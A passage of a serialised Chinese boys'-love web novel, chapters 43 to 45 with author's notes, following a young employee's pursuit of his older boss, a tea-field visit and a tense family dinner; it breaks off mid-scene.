张泽轩一边烧水,一边寒暄:“别客气!你就当自己家一样。” “我家不会这么小。”谢醇不解风情地说。 张泽轩正翻找茶叶,闻言一把把茶叶袋子揪出来,“哟呵!谢总,您可别看不起您的小员工啊!” “我家这可是重点学区房!地段无敌!您往窗外瞧瞧。”他指阳台方向,“江州标志性建筑物,看见没?就在斜对面!” “前面三公里就是5A级旅游景区!走路十分钟就能到,开窗见景,推门入园!可不比您那空荡荡的大别野强啊!” 在自己地盘上,张泽轩底气十足。 谢醇顺着他指的方向看了一眼窗外,没再反驳,确实足够市中心。 只是,他想,张泽轩享受了这么优质的教育资源,照理说应该培养出一位温文尔雅的知识青年,怎么还能这么……令他一言难尽呢? 茶壶“Duang”一声,放在谢醇面前。 “我爷爷家种的龙井,亲自炒的!纯天然无污染!一千块钱一斤呢!” 张泽轩随手给他倒了一杯,清亮碧绿的茶汤推到谢醇面前,“喝吧!” “龙井应该是清明前后采摘才口感好,现在都年底了,放了这么久” 谢醇抿了一口,茶水入口微涩,随即化为甘甜,茶香氤氲,回味悠长。 “还不错。”他放下茶杯。 张泽轩眼睛亮了亮:“你喜欢?” 他凑近一点,“我爷爷家的茶田就在风景区边上,景色特别好!不然……等会儿吃完饭,我带你去逛逛?” “反正今天周六,你也没别的急事了吧?” 他最后一句带着试探,眼神期待地看向谢醇。 谢醇沉默着,目光再次落到张泽轩身上。 可笑的熊睡衣,乱糟糟的头发,因兴奋微红的脸颊,还有那双清澈的,此刻正望着自己的眼睛。 一个穿着睡衣拖鞋,邀请老板逛自家茶田的员工,前所未见。 “逛可以。”谢醇声音没什么起伏,但目光带着嫌弃,“只是,你出门前能不能换件像样的衣服?年轻人,怎么能这么……邋遢。” 张泽轩愣了一下,低头看看自己,随即像是明白了什么:“哦~~原来谢总您喜欢……精致猪猪男孩那一款?” “您早说啊~”他神神秘秘地凑过去,拖长语调说道:“晚上,我就把鸡。毛都剃一遍,保证今天光溜溜,清清爽爽见您!” 谢醇咬紧牙关:………… 造孽—— 作者有话说:小可爱们!!跨年夜快乐鸭! 2026元旦快乐鸭!呀呀呀新年到啦! 新的一年祝大家健健康康,快快乐乐,考试不挂科,工作超顺利,一切都心想事成哦! 关于本文的一些内容个人碎碎念,其实五百一斤以上的龙井真的特别好喝,我真喝过,是老板赏赐给我的[彩虹屁]人果然写不出来认知以外的故事,我是土鳖[眼镜] 大家应该能猜到背景是哪里了吧,其实我这个文写到了杭州的季节变化,环境啊,一些风土人情啊等等吧,可能只有我知道,看的人不多。 张泽轩住的地方设定参考西湖景区市中心,能在这个地方生活的是真的能享受到很好的教育资源,因为这些都是我同事告诉我的[眼镜](只是参考地区设定哦,作者创作不涉及任何城市,滑跪jpg) 第43章 午饭后,张泽轩把谢醇推进了自己房间。 这间屋子不大,墙上是褪色的球星海报,书架上塞满旧漫画,床单是蓝色格纹,处处透着青春期残留的气息,还有一种被时间温柔搁置的怀旧感。 “你等会儿。”张泽轩在衣柜前蹲下,开始在一堆衣物里翻找,各种颜色的T恤、卫衣、牛仔裤被扯出来,又扔回去。 谢醇站在房间中央,西装外套脱下搭在手臂上,此刻只穿着白衬衫和西裤,在这间充满少年气息的房间里,显得格格不入。 张泽轩从柜子深处掏出一件深灰色的连帽卫衣,包装袋还没拆。 他转身塞给谢醇,“换上换上,你穿成这样去茶田,我爷爷还以为是什么官僚子弟来巡逻找茬的呢!!” 他又从另一个小衣柜里拎出一件黑色棉服,看起来挺厚实的。 “这个我前不久买的,正好买大了……”他话说到一半,目光不自觉地落在谢醇身上,隔着衬衫,也能看出那副锻炼得当的身形,肩宽腰窄,胸肌轮廓在平整的衣料下隐约可见。 张泽轩想起那个混乱的夜晚,想起黑暗中触碰到的紧实肌理,想起那些失控的喘息……那是他人生中第一次,也是迄今为止唯一一次与同性如此亲密,当时被药物和冲动支配,许多细节都变得模糊了,但身体的感觉却异常清晰。 张泽轩的耳根悄悄红了,“你……你换上吧。” 他把棉服也递过去,别开视线,声音有些不自然,“换好出来,我带你去茶田。” 谢醇接过那两件衣服,卫衣是普通的棉质,标签上标注【聚酯纤维100%】 棉服摸起来有些硬,填充物肯定不是什么高级羽绒,这样的触感,穿在身上一定不会太舒适。 大概是那杯质朴的龙井茶还在唇齿间留有余甘,可能是张母那顿家常便饭吃得太过温暖,也许是这间老房子里流淌着一种他年轻时的错觉,又或许,他只是想短暂地逃离那个永远西装革履,精于计算的自己。 “好。”谢醇听见自己说。 张泽轩愣了愣,似乎没料到他会答应得这么干脆。 “那……那我先出去,你换。”他快步溜出房间,带上了门。 谢醇站在房间里,看着手里那两件与他平日衣橱里动辄五位数的定制衣物天差地别的衣服,轻轻摇了摇头,他解开衬衫纽扣,开始换衣服。 镜子里的人陌生又熟悉,卫衣的领口有些宽松,露出小半截锁骨,棉服完全没有什么版型,肩线微微垮下去,只是那张惯常冷峻的脸上,竟也显出几分意外的柔和,甚至还年轻了些。 他推开房门时,张泽轩正靠在走廊墙边玩手机,闻声抬头,眼睛倏地瞪大了。 “我靠……”他小声嘀咕,“人帅穿麻袋都好看啊!” 谢醇没听清:“什么?” “没,没什么!”张泽轩赶紧收起手机,咧嘴笑,“走走走,我们去茶田玩去。” 茶田在老城区边缘,一片微微起伏的缓坡上。 虽是冬日,但江南的常绿植物依旧郁郁葱葱,一行行茶树像绿色的缎带,沿着地形蜿蜒铺展,周围带着泥土和植物混杂在一起的和谐气息。 张泽轩的爷爷今年七十多岁了,背有些微驼,但手脚利索。 看到孙子带来的人,老人眯起眼睛打量谢醇,“你是轩轩的朋友?” 老人带着浓重的本地口音,谢醇不是本地人,其实听不太懂。 谢醇跟着老人走进茶田,午后阳光温暖,晒得人后背发烫。 “这片茶田啊,我三十岁的时候就包下来了。”老人打开了话匣子,“那会儿这里还是荒坡,没人要,我跟我老伴儿种下第一批茶苗的时候,轩轩他爸才上小学。” 他指着一排明显更粗壮些的老茶树:“这些就是最早那批,快四十年了,茶叶老了,出不了多少好芽,但我舍不得砍。像老朋友一样,陪了我大半辈子。” 谢醇安静地听着,目光随着老人的手指移动。 他懂一些各地的特色茶,但他不懂种植,从老人平实的话语里,听出一种与土地、与时间深深连结的生命力。 这种生命力,是他那些复杂的股权结构里永远无法计算和拥有的,也让他想起早点打拼的自己。 “您很了不起。”谢醇由衷地说。 老人摆摆手,笑了,脸上的皱纹舒展开:“有啥了不起的,就是守着这点地,过日子。” 他看向谢醇,“听轩轩说,早上你还喝了家里的茶,觉得咋样?” “挺好。”谢醇回答得认真,“香气清正,回甘持久,是难得的好茶。” 老人眼睛亮了,像是找到了知音,拉着谢醇在田埂边的石头上坐下,又开始滔滔不绝地讲起采茶的讲究,炒制的火候,存放的窍门…… 张泽轩在一旁听得直打哈欠,悄悄掏出手机偷拍了几张谢醇认真听讲的侧影。 到了晚上,他们简单地吃了点家常菜,谢醇本打算离开。 “听轩轩说,明天你还要去法院?”爷爷说,“我们这里离法院近,住一晚,我那三层小楼,顶上空着,收拾收拾就能住。” 谢醇本想拒绝,但看着爷爷热情期盼的眼神,又看了看张泽轩那副“你敢拒绝我爷爷试试”的表情,最终点了点头。 “那就麻烦您了。” * 小楼是典型的江南民居样式,白墙黑瓦,三层高,依着茶田而建。 一楼是老人的起居室和厨房,陈设简朴;二楼租给了附近工作的几个年轻人,此刻隐约能听到楼上传来电视声;三楼则一直空着,说是留给张泽轩偶尔回来住,但看上去,灰尘有些大,张泽轩应该不常来。 张泽轩的爷爷奶奶八点多就睡下了,明天早起还要干农活。 三楼的张泽轩洗完澡出来,头发还湿漉漉,正要拿起吹风机吹吹,一进门,看到谢醇还在阳台打电话。 谢醇的声音压得很低,但偶尔传进来的只言片语:“……那份合同必须今晚改完……对……明天开庭前我要看到最终版……” 张泽轩靠在门框边,静静地看着。 褪去了白日里那身休闲装带来的些许柔和,此刻在夜色的谢醇,又变回了那个高高在上,难以接近的谢总。 可不知为何,张泽轩觉得这样的他,同样真实,同样让他想要拥有。 大概过了二十分钟,谢醇结束通话,从阳台走进房间。 他脸上带着一丝疲惫,但看到张泽轩还杵在那儿,有些意外。 “还不睡?” 张泽轩立刻站直身体,指了指房间里唯一的那张大床,那是他小时候的房间,有时候他爸妈工作忙,就把他送来这里。 “那个……别的房间好久没收拾了,堆满了杂物,二楼住满了租客,就……就这一间还能住。” 张泽轩笑了笑,小心翼翼地,“不然?我俩凑合凑合,住一晚上?” 谢醇看着他那副想睡又不好意思说,强作镇定的扭捏模样,连日来的紧绷和疲惫,竟奇异地被冲淡了些,一丝极淡的笑意掠过眼底。 “嗯。”他简单应道,走到床边坐下,伸手扯了扯被子。 他没有打算洗澡,在这种环境下,他不习惯。 也没打算换衣服,就这么直接躺下,准备将就一晚。 “哪有不脱衣服就睡觉的。”张泽轩却凑过来扒拉他,手里不知何时多了一个纸袋,上面印着某高端品牌的logo,“我给你买了睡衣,你先换上,穿着西装衬衫多不舒服啊。” 谢醇半睁开眼,看着那袋子,没有接。 他沉默了几秒,声音在安静的夜里显得格外清晰,“退了吧。” “你一个月工资才多少,没必要为了取悦我买这些东西。” 谢醇的语气很平静,还透着点不近人情,“我不是十八岁的孩子,就算你花掉几个月薪水,买来我平时穿的品牌,对我来说,也只是一件可有可无的东西,和任何一件普通衣服没有区别。” 他看到张泽轩脸上的笑容没了,别过脸去,望向窗外深沉的夜色。 “我今天留下,也是想找个机会跟你把话说清楚。” 他似乎想要彻底斩断一些不该有的念想,说道:“我们上次是因为药物引起的一些荒唐行为,那晚不管是谁,结果都一样。而且……” 他顿了顿,语气更冷,“我事先不知道是你,我以为是我找来的人。” 张泽轩站在那里,低着头,过了好一会儿,他才开口,声音带着一股倔强的冲劲,“你什么意思啊?” 他抬起头,凶巴巴地质问:“你是说!你平白无故睡了老子,还被老子睡了,就当什么都没发生吗?” “张泽轩。”谢醇站起身,面对着他,身高带来的压迫感在狭小的房间里逐渐弥漫,“我知道你跟我不是一类人,我调查过。” “你从高中到现在,谈过五个女朋友,这说明你喜欢的是女性,你的人生规划里,伴侣也应该是女性。 难道就因为一次意外,一次药物作用下的失控,你就要改变自己的性取向吗?这也太荒谬了。” “我谈的每一个女朋友都是奔着结婚去的!!!” 张泽轩突然拔高了声音,带着被戳中痛处的羞愤,“只是人家后来都要跟我分手,我能有什么办法!我……我又不是只对女人有感觉!” 他像是急于证明什么,语无伦次,“而且……那是因为我之前不知道……原来跟男人睡……也能那么爽!” 话一出口,他自己都愣住了,脸瞬间红透,好像他就是因为很想睡谢醇,才纠缠他的。 其实并不是! 他试图维持那点可怜的气势,继续狡辩:“要早知道你这么厉害……我……我早就想试试了!” 这话说得没皮没脸,理直气壮,却又无理取闹得像个小孩子。 谢醇闭了闭眼,再睁开时,眼底只剩下疲惫。 “我比你大二十一岁。” 他试图用年龄和现实来说服这个误入歧途的孩子,“你想找男朋友,也应该找同龄的,有共同语言,能一起经历人生阶段的。” “我这个年纪,当你父亲都绰绰有余,你想想,你家人会同意你这样胡闹吗?” “你是不是担心林逸反对?” 张泽轩像是抓住了什么关键,眼睛一亮,“我早就跟林逸打过招呼了!他说他不反对你找多大年龄的! 以后我们也各论各的,他还是我最好的哥们,在你面前叫我一声……” 他卡壳了一下,似乎在斟酌用词,最后心一横,“……叫我一声「后爸」就行!” 谢醇被他这番惊世骇俗的言论噎得一口气差点没上来。 他转身就想去拿自己的外套,觉得今晚留下根本就是个彻头彻尾的错误。 “别走啊!”张泽轩从后面猛地抱住了他的腰,手臂收得很紧,声音里带上了慌乱的恳求,“好了好了,对不起,我不说了!我开玩笑的!” “谢总……谢叔叔……醇叔叔……好叔叔……你都答应留下了,明天我爷爷发现你不在肯定会伤心的……” 他把脸贴在谢醇挺直的背上,声音闷闷的,他也不知道该怎么办才好,可他就是不想让谢醇离开。 “其实……在没发生那件事之前,我就特别崇拜你。” 他声音轻轻的,开始倾诉一个藏在心底很久的秘密:“我觉得你好厉害,又成熟,又有魅力……你还记不记得,林逸上高中的时候,有一次你来接他放学的事?” 谢醇的身体微微出现了一顿。 “你开着那辆特别拉风的跑车,穿着一身黑色的皮衣,靠在车门上等林逸放学。” 张泽轩回忆着,“当时林逸不想见你,闹别扭,还是让我过去跟你说,林逸说要想自己走回家,让你开车回去……” “我当时走过去,离你那么近,都不敢大声说话。” “那个时候我就在想……”张泽轩的声音还带上了一点的羞涩,“这男人……忒帅了!!” “我以后也要像你一样又帅又拉风,可能……可能那个时候,我就有点……暗恋你了吧?” 谢醇沉默着,任由他抱着。 他记得,他离婚那两年,林逸完全不认他这个亲爸,他每次从国外回来,想见儿子一面都像做了什么坏事。 确实有一次,他特意换了身年轻时才会穿的皮衣,开了辆新车去学校门口,想给儿子一个“惊喜”,结果只等来儿子完全置之不理,和一个跑过来传话的少年。 他想起,那个少年当时似乎很紧张,说话磕磕巴巴,眼神却亮亮的,一直偷偷打量他。 原来……是张泽轩? “不记得了。”谢醇不想继续这个话题,“你当时还是高中生,我怎么可能对一个小孩子产生那种想法。” “所以我才希望我能跟你一样大啊!”张泽轩抱得更紧了,“这样我就能……正大光明地追求你了。” 谢醇叹了口气,抬手揉了揉突突直跳的太阳穴。 他今晚留下,确实存了别的心思,其实他想通过张泽轩,多了解一些林逸的现状,还有今天早上那个突然冒出来的“男朋友”。 如果没有这层目的,他绝不会在这里过夜,更不会让事情发展到这一步。 但他没料到,张泽轩会如此直白,如此的难缠。 “你先放开。”他拍了拍环在腰间的手。 “我不放。”张泽轩反而收紧了手臂,声音带着耍赖般的固执,“好不容易你愿意住下,我放了,你就真走了。” “我不走。”谢醇妥协,声音里透出深深的疲惫,“你把睡衣拿过来,我换上。” 张泽轩愣了一下,仿佛从谷底一下子升了天,赶紧放开:“好,我这就是去拿!” 张泽轩几乎是跳着去够那个纸袋。 谢醇接过袋子,走到床边,背对着他,开始换衣服。 昏黄的灯光勾勒出他宽阔的肩背,肌肉线条流畅,没有一丝赘肉。 张泽轩站在他身后,眼睛都看直了。 谢醇很快换上了那套真丝睡衣,还算合身。 他转过身,看到张泽轩还呆呆地站在那里,也不知道在看什么。 “谢谢。”谢醇平静地说,拉了拉睡衣的领口,“挺合适的。” 他顿了顿,目光落在张泽轩脸上,语气郑重了些,“还有谅解书的事,也谢谢你。” 张泽轩像是被这句“谢谢”烫了一下,猛地回过神,脸上绽开一个有点傻气的笑容:“……客气什么!” 话音未落,他像是积攒了许久的勇气终于破闸,猛地扑过去,抱住谢醇,在他脖子上不轻不重地啃了一口。 这动作产出的与其说是吻,不如说是一只小狗在宣告所有权的标记,还带着点不服气的凶狠 那一晚,他们并肩躺在并不宽敞的旧床上,中间隔着礼貌的距离。 张泽轩开始讲述林逸从高中到大学发生的各种大事,后来说到沈北岛如何出现在林逸的生活里 谢醇这才得知,沈北岛竟然就是杜小满敲诈勒索案的当事人。 这件事拖了近两个月,他因为太忙,许多细节交给了张泽轩,自己只是把握大方向,甚至没有仔细看过沈北岛的资料。 他一直以为林逸和沈北岛因为杜小满的事早已断了,没想到绕了一大圈,林逸身边的人,始终是同一个人 第二天上午,区法院审判庭。 谢醇坐在旁听席最后一排,穿着西装,神情淡漠。 庭审过程按部就班,公诉人宣读起诉书,出示证据,辩护律师发表意见。 杜小满坐在被告席上,几次回过头,用哀求的眼神望向谢醇。 谢醇的目光平静地掠过她,看向别处,没有给出任何回应。 说到底,他觉得自己也有责任。 当初是他太过纵容,总觉得替曾经亡故的同事照顾他是理所当然,却忽略了杜小满性格里偏执和贪婪的一面。 他如今唯一能做的就是尽量争取减刑,让他为自己的行为付出代价的同时,也不至于彻底毁掉人生 晚上,林逸收到了他妈妈的消息: 【我刚下飞机,饭店约在家附近吧,我问问你爸】 林逸【好,妈妈】 林逸正要下床,跟沈北岛说这件事,看到放在床头充电的手机响了一下。 他知道沈北岛的手机密码,便随手打开。 竟然是张泽轩的头像,和他的消息: 张泽轩【沈教授!告诉你一个好消息,杜小满那事一审判了,五年八个月】 张泽轩【谢醇在争取减刑,又上诉了,不过吧,我估计也就这样了】 张泽轩【对了!我那事,你还得帮我想想办法啊~~你说他是不是嫌我年龄太小了?差21岁而已,也不大啊~】 最后还跟着一个哭唧唧的卡通表情。 林逸看着屏幕上那些字,尤其是最后那句“我那事” 张泽轩的事?什么事? 他还没来得及细想,就听到了外面走路的动静,他赶紧按灭了手机。 沈北岛端着洗好的水果走进来:“逸逸,不冷吗?又光着腿坐在床边。” 他递过去果盘,顺手用被子盖上林逸那两条白皙修长的腿。 林逸吃了一颗葡萄,抬头看向沈北岛:“我晚上要去见我妈妈,她回江州了你要跟我一起吗?” 沈北岛知道,林逸的母亲很排斥同性恋—— 作者有话说:元旦第二天快乐,昨天没更是因为三次事有点多~太晚的话就别等了哈,第二天来看看 第44章 餐厅内。 沈北岛坐在上层一个靠栏杆的位置,这里视角极佳,能将下层某片区域尽收眼底。 “小北啊,什么事这么着急?”一个爽朗的声音从身后传来。 沈北岛转过头,看见一位穿着黑色机车服、身材精壮的男人正大步走来。 男人摘下头盔,露出一张被岁月打磨,却依旧棱角分明的脸。 “今天是你们小年轻爱过的平安夜,外面堵得跟停车场似的,我只好把摩托车骑出来了。” 他搓了搓手,环顾四周装潢精致的餐厅,挑了挑眉,“怎么选这儿?我记得你吃不惯江州菜这甜腻腻的口味。” 来人名为李自珈,45岁,父亲曾经的同事,也是他在江州为数不多对他很照顾的长辈。 李自珈把头盔往旁边空座一放,拉开椅子坐下,“怎么?听你爸说,你打算自己开公司做国内市场了?” 沈北岛将菜单推过去,脸上露出一个浅淡的笑意:“先点菜吧,边吃边聊。” 他的目光再次不经意地扫过楼下,唇角弧度逐渐加深。 李自珈接过菜单,却没急着看,反而顺着沈北岛刚才的视线往下瞧,嘴里还不忘调侃:“哎?我说好侄子,你什么时候找个对象啊,人家这种节日都是跟女朋友过,你可好,跟我这老叔叔一起过。” “今天,我陪男朋友来的。”沈北岛回答得很自然。 “男朋友?”李自珈眼睛一亮,立刻东张西望起来,“哪儿呢?快带过来给叔看看!你爸上次打电话还念叨,说你一个人在江州,身边没个知冷知热的人……” “我爸从不过问我的感情情况,他从小就跟我提倡不婚主义,说被我妈管得太难受。”沈北岛调侃道。 “你小子,是……我承认,这话是叔叔我自己想问。” 李自珈是沈北岛父亲年轻时的同事,两人同在一家顶尖医疗研究机构共事多年。 后来,沈北岛的父亲选择留在国外,目前在一家医院任职,而李自珈厌倦了高强度的工作节奏,提前“退休”,跑到江州这座宜居城市过起了退休生活。 因为算是看着沈北岛长大,又同在异乡,两人时常小聚,关系亦师亦友。 沈北岛抬了抬下巴,示意楼下:“我男朋友,在那儿呢。” 李自珈立刻兴致勃勃地探身,视线在楼下扫视。 他看到半开放就餐区有一桌坐着两个年轻男孩,一个微胖,一个精瘦,正凑在一起说笑。 李自珈皱了皱眉,压低声音,带着点不确定:“你男朋友是……那只猪,还是那只猴?” 沈北岛顺着他的目光看去,有些无奈地回:“李叔,您眼神是不是该去看看了?” 他指向另一个方向,“是后面靠窗那一桌。” 从李自珈的角度,确实被立柱挡住了部分视线。 他不死心,干脆站起身,手撑着栏杆,伸长脖子往下瞧。 这个角度,正好看到一位气质优雅,穿着米白色羊绒套装的女士从门口走进来,而林逸立刻从座位上起身,迎上前,接过她手里的包和一件薄外套。 李自珈的眼睛瞬间直了:“优雅,实在是优雅……这气质,不输明星……” 他重新坐下,一脸惋惜地看向沈北岛:“可惜了,名花有主了。你说,现在这些成熟有韵味的女士,是不是都喜欢这种小鲜肉?” 沈北岛:………… 他一时竟不知该作何反应,沉默了两秒才开口,语气带着点无力:“李叔,您觉得刚才看到的那两个人……是情侣?” “这一看就是啊!”李自珈叹息地摇了摇头,“今天这日子,来这种餐厅,不是情侣是什么?” 沈北岛眼底掠过一丝好笑和无奈,“你看到的那对情侣,其中一位是我男朋友。” “啊?你玩这么花吗?”李自珈大为震惊。 沈北岛: “算了。”他拿起茶壶,给李自珈续上热茶,“我们还是聊聊正事吧,我打算从学校辞职,开始正式接手我爸在国内公司的业务。” 李自珈的注意力果然被转移,神情正经了几分:“哦?终于想通了?你那大学老师的工作,清闲是清闲,但确实没啥大意思,早该出来了。” “嗯。”沈北岛点点头,从随身包里拿出一份资料,“我爸实验室主导研发的那款药,就是主要针对二型糖尿病的,您应该有印象。” “司美格鲁肽?”李自珈毕竟是业内出身,一点就通,“我记得临床数据很不错,怎么,国内批了?” “三期临床结束了,上市申请已经在走流程了,我爸的意思是国内这块市场潜力巨大,而且……” 沈北岛顿了顿,“我做过一段时间市场调研,发现一个有趣的现象。 除了传统的医疗需求,在注重身材管理、有医美或健康消费能力的人群中,对这类药物的潜在需求可能被低估了。 这或许可以成为我们切入市场的一个差异化角度。” 李自珈认真听着,手指摩挲着下巴:“有道理,现在人对‘瘦’的追求,已经形成了一个庞大的消费市场。如果能在合规的前提下,精准定位这部分人群……” 他看向沈北岛,眼中露出赞赏,“你小子,脑子转得挺快,看来是早有准备啊!” “需要叔帮什么忙,尽管开口。江州这边医疗圈的人,我还认识不少的资源。” “那我提前谢谢李叔。” 楼下靠窗的位置。 谢醇抵达时,菜已经点好,凉菜也已经上桌。 他看到林泾芝已经坐在那里,正低头看着手机,侧脸在灯光下显得有些疏离。 林逸坐在林泾芝的旁边,中间隔了一点距离。 “抱歉,公司有点急事处理,来晚了。”谢醇脱下大衣,搭在旁边的椅背上。 林泾芝抬起头,对他微微点了点头,算是打过招呼,视线很快又落回手机屏幕,似乎正在回复什么重要消息。 他们之间的空气,是一种经过多年冰冻后形成的礼貌而脆薄的平静。 林逸看着父亲坐下,目光却敏锐地捕捉到他侧颈靠近衣领处,有一小片不太明显的红痕。 那痕迹的颜色,位置……林逸太熟悉了! 就在不久前,他自己脖子上也出现过类似的东西。 一股无名火“噌”地窜了上来。 今天是什么日子? 是他妈妈难得回来,一家人团聚的日子。 谢醇竟然带着这样的痕迹出现? 到底是谁?这么不知分寸?! 林逸越想越气,胸口堵得发闷。 他看了一眼母亲,她还没注意到。 “爸!”林逸突然站起身,态度十分不好,“你过来一趟,我有点事跟你说。” 谢醇刚拿起湿毛巾擦手,闻言抬起头,对上儿子明显压抑着怒气的眼睛,愣了一下。 他又看了一眼林泾芝,她依旧专注于手机,仿佛周遭的一切都与她无关。 “好。”谢醇放下毛巾,站起身,跟着林逸朝洗手间的方向走去。 关上洗手间的门,林逸转过身,盯着他爸:“谢醇,你知道今天的聚会有多难得吗?” 谢醇被这连名带姓的称呼和质问弄得有些懵,但他立刻意识到是自己哪里做得不对,触怒了儿子。 他试图解释,虽然他不知道自己到底哪里错了:“小逸,我知道很重要。只是我刚才确实去公司处理了紧急的事,才晚了一会儿。” 他看了看腕表,“这不才晚了十分钟么?也不是什么十恶不赦的大罪吧?” 不知怎的,自从和张泽轩那晚之后,面对林逸,他心底那股积压已久的愧疚感仿佛被放大了。 他突然觉得自己这个父亲,做得真是失败透顶,也不怪林逸对他态度不好。 林逸没理会他的解释,直接从裤兜里翻出一个大号肤色创可贴,又把创可贴塞到谢醇手里,语气冷冷的:“处理一下你的脖子,别让我妈看到。” 谢醇下意识地抬手摸向颈侧。 “你知道她病还没完全恢复。”林逸的声音更低,心脏却带着尖锐的刺痛感,“你就算不爱她,不在乎她,也不至于用这种方式来刺激她吧?” 说完,林逸拉开门,头也不回地走了出去。 洗手间里只剩下谢醇一个人,对着镜子,终于看清了侧颈上那个清晰的,带着齿痕的红色印记。 是昨晚张泽轩留下的。 那个小子,像只认领地盘的小狗,在他脖子上啃了这么一口。 他当时没太在意,早上洗漱时也忽略了…… “砰!”谢醇的拳头狠狠砸在冰冷的石材台面上,他感到一阵强烈的愤怒,对自己,也对那个不知轻重的小混蛋。 他撕开创可贴,对着镜子,将那处痕迹仔细遮盖起来。 深色的创可贴贴在颈侧,显得有些突兀,但总好过原来的样子 “妈,爸刚在接一个工作电话,等会过来。”林逸对林泾芝说。 林泾芝这才放下手机,轻轻拉过林逸的手,放在自己掌心。 她的手很凉,皮肤细腻,能看出精心保养的痕迹。 “小逸。”她看着儿子,眼神温柔,却深处藏着一丝难以言说的担忧,“妈妈这一年都在忙公司上市前最后阶段准备,对你关心少了,你不会怪妈妈吧?” “不会。”林逸立刻摇头,反手握了握母亲的手,“我知道你忙,等我毕业设计忙完,就去你那边看你。” 林泾芝的公司总部在一线城市,距离江州有一千多公里的距离。 林泾芝现在还在缓慢的恢复期,林逸为了不刺激她,不影响她休养,这段时间一直刻意保持着不频繁的联系。 他们日常的交流仅限于简单的问候: “吃饭了吗?” “最近怎么样?” “钱够用吗?” 客气,疏离,仿佛只是关系尚可的亲戚。 林逸并不知道,前段时间,母亲病情最不稳定,情绪最低落时,那个深夜打来的带着哽咽的质问,那个电话是被沈北岛接的。 林泾芝抬手,温柔地摸了摸林逸的头发,然后说:“小逸,最近……谈女朋友了吗?” 她轻声问,语气听起来像是随口一提。 林逸的心猛地“咯噔”一下,“没,没有。” “最近又要实习,又要忙毕业设计,哪里有时间。” 林泾芝静静地看着他,那双与林逸极为相似的眼眸里,沉淀着太多复杂的情感。 她沉默了几秒,才又开口:“我听说……之南回国了,他联系你了吗?” 这个名字像一根细针,在他们微妙的氛围里,猝不及防地扎进林逸的神经。 他几乎是下意识地急促回复,像是刻意在证明什么:“没有!妈,你放心,我跟他早就没有任何联系了!那都是过去的事了,早就过去了。” 他语速很快,带着急于撇清的激动,说完才意识到自己的反应可能过激了,又连忙保证道:“我……我以后要是交了女朋友,一定会告诉你的。” 林泾芝闻言,眼底深处掠过一丝极淡的痛楚,但很快被温柔覆盖。 她轻轻拍了拍林逸的手背:“嗯,好。妈妈相信你。” 她顿了顿,换了个话题:“你毕业后,有没有考虑过来妈妈公司?虽然跟你学的艺术专业不太对口,但妈妈可以慢慢教你。” “而且,妈妈的一切,以后都是你的。” “你爸爸的生意主要在国外,妈妈不想你去那么远的地方。留在国内,离妈妈近一点,好吗?” 林逸他听出了母亲话语里的期盼,也感受到了那份沉重的,以爱为名的规划。 他抿了抿唇,说道:“妈,我……我还有一年多才毕业呢,现在谈这些还有点早。而且……” 他犹豫了一下,还是说了出来:“你的公司也是跟合伙人共同持股的,我要是去了,也得经过其他股东的认可。我是完全跨行业的,什么都不懂,去了只会给你添麻烦,也容易让人说闲话。” “我想……先靠自己试试。” 林泾芝静静地看着他,良久,才轻轻叹了口气:“好吧。妈妈尊重你的想法。” 但她突然又说,带着点刻意的叮嘱:“但是,小逸,你记住,离你爸爸周围的人要远一点。你知道的,他身边的那些人,都跟他是一类人。” “小逸,妈妈知道你不是那样的。”她握住林逸的手,用力到指尖有些发白,“你只是……只是小时候受了你爸爸一些影响,但你不是的,对吗?” 林逸感到母亲的手在微微颤抖。 他看着母亲眼中那些复杂的情绪,有爱、恐惧、担忧,还有一丝他不愿面对往事的痛苦回忆。 喉咙像被什么堵住了。 他张了张嘴,最终什么也没能说出来,只是用力地回握住母亲冰凉的手。 曾经,他当着母亲的面,接连不断地更换“男友”,试图用这种极端的方式,逼迫她离开被束缚的婚姻。 可如今他才惊觉,那些自以为是的抗争,不过是徒劳地在瓦解母亲心中最后一点对“正常家庭”的期盼,反而让她在破碎的废墟里越陷越深—— 作者有话说:这是最后一道坎,沈老师的鬼主意正在生成中… 猜猜他要干啥! 其实林逸的家庭关系有些复杂,他们都有自己的原因,站在他们的各自的角度,都没有办法,不要生气哈,后面都有解释的。 沈北岛+张泽轩,能把一切头疼的关系弄的越来越有趣(骂了角色就不能骂作者了哦) 30章作话,沈北岛接的电话就是李叔叔的。 第45章 沈北岛从浴室出来,发梢还带着湿气,他推门进卧室,看到林逸正抱着膝盖,下巴搁在膝头,怔怔地出神,透着一股说不出的孤寂。 其实林逸不知道,今晚沈北岛也去了那家餐厅。 他坐在楼上,将楼下那场气氛微妙的吃饭氛围尽收眼底。 他看到了谢醇的迟到,看到了林逸起身时压抑的怒气,也看到了林泾芝面对儿子时温柔表象下那无法掩饰的紧张…… 虽然他听不清具体对话,但他知道,这顿饭吃得并不轻松。 他“见过”林泾芝的另一面,曾经林逸留宿的那个深夜,电话里濒临崩溃的哭泣与混乱的威胁。 所以他明白,在林逸的沉默里,藏着对母亲沉重得令人窒息的爱。 他放轻脚步走过去,伸手揉了揉林逸脑袋,“在想什么呢,小乌龟。” 他声音放得很柔,带着一丝刻意的逗弄。 林逸回过神,没好气地拍开他的手,语气冲冲的:“哼!我要是乌龟,你就是母乌龟!” 沈北岛一愣,随即笑了起来,胸腔微微震动:“性别说错了吧?” 他凑近些,气息拂过林逸的耳廓:“我现在是上面的,你被上面的压着。” “你……”林逸瞬间炸毛,他实在难以接受在下面的“设定”,猛地站起来,就这么居高临下地瞪着沈北岛,“我在说公母的问题!” “这是我家,你住在我家,就是跟了我!你说我是乌龟,那你不就是母乌龟吗?!这是逻辑!逻辑懂吗?” “我就不能是个人吗?”沈北岛不笑了,很严肃,他知道,林逸潜意识可能在找一个情绪的出口。 “嘿!乌龟和人有生殖隔离吧?你不想跟我在一起了?” 沈北岛看着他站在床上张牙舞爪的模样,心里那点担忧逐渐消散,他单膝跪在床边,伸手去拉林逸的手腕,“好好……对不起,我知道错了,我不乱开玩笑了,坐下吧,小王八。” “你才是王八!你周围的人都是王八!” 林逸被他拉得趔趄了一下,顺势坐倒在床边,但嘴上依旧不饶人。 他心情糟糕到了极点,牵连到吵架都变得极其幼稚和不过脑子。 沈北岛顺势在他身边坐下,手臂环过他的肩膀,将他轻轻揽进怀里。 林逸起初还僵硬着,到接触到了沈北岛身上的温暖,身体耗尽了所有对抗的力气,软了下来,将额头抵在沈北岛的肩窝。 “今天去见妈妈,还愉快吗?”沈北岛的手掌在他背上缓缓地,安抚性地摩挲着。 林逸在他怀里沉默了一会儿,才闷闷地说:“当然愉快了!我妈妈其实对我很好,特别特别好,只是……” 